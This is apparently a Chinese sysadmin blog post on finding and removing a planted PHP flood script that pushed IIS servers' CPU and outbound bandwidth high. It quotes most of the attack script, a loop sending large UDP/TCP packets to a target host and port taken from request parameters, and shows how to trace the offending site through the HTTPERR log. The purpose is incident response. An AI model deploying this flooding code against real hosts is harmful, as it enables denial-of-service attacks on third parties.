近期有几台服务器相继出现 lsass.exe 占用CPU过高,也不算太高,而且过了一段时间又会恢复正常,CPU过高直接造成网站打开很慢,周而反复。

在CPU跑高的时候,伴随着一个现像就是网络的浮动,有时候上传居然达到了30M - 90M/s,

对外攻击,第一时间就想到有可能是这个原因,那具体怎么查呢?

 常见的对外文件,这东西网上搜一下就能找到。

<?php

set_time_limit(86400);

ignore_user_abort(True);

$packets = 0;

$http = $_REQUEST['http'];

$rand = $_REQUEST['exit'];

$exec_time = $_REQUEST['time'];

........

echo $_REQUEST['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_REQUEST['rat'];

exit;

}

echo "Php 2012 Terminator";

exit;

}

http://web100.cc

for($i=0;$i<65535;$i++)

{

$out .= "X";

}

/........

}

$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);

if($fp)

{

fwrite($fp, $out);

fclose($fp);

}

}

else

if($rand==500)

while(1)

{

$packets++;

if(time() > $max_time){

break;

}

$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);

if($fp)

{

fwrite($fp, $out);

fclose($fp);

}

}

else

while(1)

{

$packets++;

if(time() > $max_time){

break;

}

$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);

if($fp)

{

fwrite($fp, $out);

fclose($fp);

}

}

?>

那要如何定位到是哪个站呢?

你可以打开日志

C:\Windows\System32\LogFiles\HTTPERR\httperr...log,打开今天时间的文件,

里面有类似这样的记录:

2011-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_1

最后三项 783 Disabled 30_FreeHost_1

783就是这个站在IIS中的ID

30_FreeHost_1就是所在池

解决办法:

找到这个站点,接下来想要解决就好办了,如果条件允许,可以直接禁用掉fsockopen这个函数,当然这个大部份情况下是不适用的。

那就去这个站点的根止录下找找吧。

$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);

可以借助一些工具,查找上面这句话,或是查找$fp = fsockopen,这样其本上攻击文件就无所遁形了,当然不要删除了正常的邮件发送文件,最后重启下服务,嗯,不卡了。

03-15 23:37